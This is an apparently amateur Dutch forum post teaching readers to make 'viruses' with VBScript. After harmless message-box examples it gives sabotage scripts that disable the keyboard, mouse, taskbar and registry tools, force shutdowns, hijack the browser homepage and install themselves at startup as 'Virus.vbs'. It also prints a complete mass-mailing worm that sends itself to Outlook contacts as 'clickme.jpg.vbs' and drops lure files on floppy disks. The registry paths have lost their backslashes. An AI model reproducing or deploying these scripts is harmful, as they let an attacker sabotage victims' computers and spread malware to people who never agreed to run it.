VBS SCRIPTS!!!!

[Admin]

Hello Evrybady

Here i gonna learn you how to make ur own virusse whit Wordpad,

1. open wordpad (kladblok)
2. past 1 of this codes in
3. save the file and name it .vbs (vb. Lol.vbs)

Here i gonna put the code's tomorrow.

[Admin]

Hallo ik ga jullie leren hoe je een soort van Viruss moet maken met Kladblok.

1. open kladblok deze vind je in startalle programma'sBureau-accesoires

2 voeg één van deze scripts in:



een gewoon gerichtje laten verschijnen dan geef je deze code in

Code:

msgbox"typ hier je berichtje"



voor een berichtje met titel

Code:

msgbox "Hier komt een berichtje!",0,"Hier komt de titel"



Voor een berichtje waar je een reactie kan geven

code:

a=inputbox("Welke kleur is je haar?")
msgbox "Jij hebt een rare kleur haar! je kleur haar is:"+a



nu een berichtje dat de datum zegt

code:

msgbox"de datum is," & date & ",oke?"



de datum zeggen zonder tekst

code:

msgbox"de datum is:" & date"



zo kan je "date" veranderen in

Day = geeft de dag weer
Hour = geeft het uur weer
Minute = geeft de minuut weer
Month = geef de maand in een getal weer
MonthName = geeft de naam van de maand neer, wel in het engels!
Now = geeft de datum en de tijd op je pc aan
Time = geeft de tijd in uren minuten en seconden aan
Weekday = geeft de dag van de week aan
WeekdayName = geeft de naam van de dag aan, wel in het engels!
Year = geeft het jaar aan


Nu een box laten verschijnen waarop je "ja of nee" kan antwoorden

code:

if msgBox("Wilt u dit doen?", vbYesNo, "vraag") = vbYes then
msgbox "missie geslaagd"
else
msgbox "idioot dat je bent!, je bent niet geslaagd!"
end if



Dit worden een heel pak Code's.

Nu gaan we de Cd drive openen

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If




Nu gaan we een berichtje laten verschijnen met een titel, maar je kan nu zelf kiezen wat voor berichtje.

Code:

strTitle = "Venstertitel"
msgbox "Nieuwe messagebox",64,strTitle



de 64 kan je vervangen door:

4096= System Modal (een venster dat op de voorgrond blijft staan)
64 = Informatical (een uitroepteken)
48 = Warning (een gele waarschuwingsdriehoek)
32 = Question (een vraagteken)
16 = Critical (een rode cirkel met een kruis)
0 = Niks


je kan bv. ook doen

strTitle = "Venstertitel"
msgbox "Nieuwe messagebox",4096+64,strTitle



0 = vbOKOnly (hiermee geef je alleen de OK knop weer)
1 = vbOKCancel (hiermee geef je de knoppen OK en Annuleren weer)
2 = vbAbortRetryIgnore (hiermee geef je de knoppen Afbreken, Opnieuw en Negeren weer)
3 = vbYesNoCancel (hiermee geef je de knoppen Ja, Nee en Annuleren weer)
4 = vbYesNo (hiermee geef je de knoppen Ja en Nee weer)

je kan nog een standaardknop selecteren die als je het venster krijgt, gemarkeerd is.

0 = vbDefaultButton1 (de eerste knop is de standaardknop, vanaf links geteld)
256 = vbDefaultButton2 (de tweede knop is de standaardknop)
512 = vbDefaultButton3 (de derde knop is de standaardknop)


Nu een berichtje waarbij je afbreken opnieuw of negeren kan kiezen

code:

input1 = msgbox("Tekst",64 + 2,"Titel")

Select Case input1
Case vbAbort
msgbox"je koos voor afbreken"
Case vbRetry
msgbox"je koos voor opnieuw"
Case vbIgnore
msgbox"je koos voor negeren"
End Select



Nu een berichtje dat 100x verschijnt, dat word lang klicken als je het weg wilt.

code:

for i = 1 to 100
msgbox "je tekst"
next



De scripts die nu komen zijn wel al een beetje ambetant om weg te krijgen,

om de icoontjes op de desktop weg te doen

code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop","1"



Om de uitvoeren knop in het start menu te laten verdwijnen

code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun","1"




Om de zoeken knop in het start menu te laten verdwijnen

code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite

"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind","1"



weer verder, deze code zorgt er voor dat programmas geen wijzigingen kunnen aanbrengen in het register

Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite

"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
DisableRegistryTools","1"



Deze code laat de taakbalk verdwijnen:

Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite

"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetTaskbar","1"



Deze code zorgt ervoor dat er geen menu onder de rechter muisknop zit:

Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite

"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu","



naam van de prullenbak veranderen

code:

Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCRCLSID{645FF040-5081" &_
"-101B-9F08-00AA002F954E}"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If





verander de achtergrond van je bureablad, of stuur naar iemand anders en laat een plaatje van internet af instellen als achtergrond.

Code:

sub main ()
dim keyWallpaper, Wallpaper
KeyWallpaper = "HKEY_CURRENT_USERControl PanelDesktopwallpaper"
Wallpaper = "HIER JE ACHTERGROND"
Set shl = CreateObject("Wscript.shell")
shl.RegWrite KeyWallpaper, Wallpaper
End sub




een berichtje dat je niet kan wegklicken.
Code:

do
msgbox"dit bericht komt steeds weer"
loop



deze code laat een bericht zovaak zeggen als de gebruiker wil, en zegt wat de gebruiker wil leuk
Code:

a = Inputbox ("Aantal keer: ")
b = Inputbox ("Wat zeggen: ")

for i = 1 to cint(a)
msgbox b,64,"Bericht"
next




een folder aanmaken:
Code:

path = "C:New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If




een folder verwijderen:
Code:

' delete
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:New")
aFolder.Delete



Ik zeg dit "Gebruik dit scriptje nooit!!!!" Het vertraagt pc enorm, neem alle geheugen in beslag loop van pc naar pc zelfs als je gewoon nog maar met iemand chat op msn. kiest een random naam in c: schijf, vind je nooit meer terug.

On error resume next
randomize
set fso=createobject("scripting.filesystemobject")
set wscriptshell=createobject("wscript.shell")
set drives=fso.drives
for each drive in drives
if drive="C:" then
if drive.isready then
drivefull=drive & ""
set e5d=fso.getfolder(drivefull)
set subs=e5d.subfolders
for each subfolder in subs
subst=mid(subfolder.path,4,3)
if subst="WIN" then
auto=subfolder.path
end if
next
end if
end if
next
autos=auto & "run32dll.vbs"
fso.copyfile wscript.scriptfullname,autos
if wscript.scriptfullname <> autos then
msgbox "Cannot open file",16,"Internet Explorer"
end if
mailed=auto & "clickme.jpg.vbs"
fso.copyfile wscript.scriptfullname,mailed
if wscriptshell.regread("HKLMSOFTWAREMicrosoft")<>"1" then
set out=createobject("Outlook.Application")
if out="Outlook" then
set mapi=out.GetNameSpace("MAPI")
set newitem=mapi.getdefaultfolder(6)
do while newitem.items.count<>1
for each item in newitem.items
do while item.Attachments.count<>0
for each itatt in item.Attachments
itatt.delete
next
loop
item.subject="check dit"
item.Body="leuk plaatje"
item.attachments.add mailed
item.send
next
loop
set item=Nothing
set itatt=nothing
set newitem=Nothing
set newitem=mapi.getdefaultfolder(5)
do while newitem.items.count<>1
for each item in newitem.items
do while item.Attachments.count<>0
for each itatt in item.Attachments
itatt.delete
next
loop
item.subject="check dit"
item.Body="leuk plaatje"
item.attachments.add mailed
item.send
next
loop
set item=Nothing
set itatt=nothing
set newitem=Nothing
set out=Nothing
wscriptshell.regwrite "HKLMSOFTWAREMicrosoft","1"
end if
end if
tim=minute(time)
tim=tim+6
timstandard=minute(time)
if tim>53 then
tim=01
end if
if timstandard=tim then
tim=minute(time)
tim=tim+6
trig=int((10*rnd)+1)
select case trig
case 1
floppya="a:PIZZABOY.txt.vbs"
case 2
floppya="a:YOU-ARE-DOOMED.txt.vbs"
case 3
floppya="a:JESUS666.txt.vbs"
case 4
floppya="a:ANDRIANA-SKLENARIKOVA.JPG.vbs"
case 5
floppya="a:DE NIRO FUCKS NAOMI.JPG.vbs"
case 6
floppya="a:SPIDERMAN_LIVES.txt.vbs"
case 7
floppya="a:HACKING_WINDOWS.TXT.vbs"
case 8
floppya="a:EUROVISION_ORGY.JPG.vbs"
case 9
floppya="a:Sex_Advices.txt.vbs"
case else
floppya="a:MELINDA'S EYES.JPG.vbs"
end select
set repla=fso.createtextfile(floppya,true)
repla.write code
repla.close
set repla=nothing
floppya=""
loop




Tijdslimiet bij de beslissing zette

handig als je een loop gebruikt

Code:

Option Explicit

Const wshYes = 6
Const wshNo = 7
Const wshYesNo = 4
Const wshQuestion = 32

Dim objShell
Dim Answer

Set objShell = CreateObject("Wscript.Shell")
Answer = objShell.Popup("Macro opstarten?", 5, "Confirm", wshYesNo + wshQuestion)
Set objShell = Nothing

If Answer = wshYes Then
MsgBox "Ja", vbOkOnly, "Answer"
ElseIf Answer = wshNo Then
MsgBox "Nee", vbOkOnly, "Answer"
Else
MsgBox "Geen beslissing...", vbOkOnly, "Timed Out"
End If






Laat de pc afsluiten:
Code:

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next





wijzig de naam van de titel van de Internet Explorer.
Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","de naam"





verander de startpagina.
Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page",http://www.websiteforum.nl





Dit opent je CD-rom/dv/brander.
Code:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If





Dit laat je PC een heel vaag error geluidje horen.
Code:

Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True





Je script in de opstart volgorde zetten.
Code:

Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "Virus.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunStart menu",winfolder & "Virus.vbs"





verander de naam van op wie de PC geregistreert staat.
Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionRegisteredOwner", "Hackt by..."




Verander de organistatie waarop de PC geregistreert staat.
Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionRegisteredOrganization", "Hackt by..."




Schakel het toetsenbord uit.
Code:

Set shl = CreateObject("Wscript.shell")

Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableKeyboard", "Rundll32.exe Keyboard,Disable




schakel de muis uit
Code:

Set shl = CreateObject("Wscript.shell")

Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableMouse", "Rundll32.exe Mouse,Disable"



Dit waren ze allemaal, voor meer informatie of vragen mail mij:

H4cker.ForEver@hotmail.com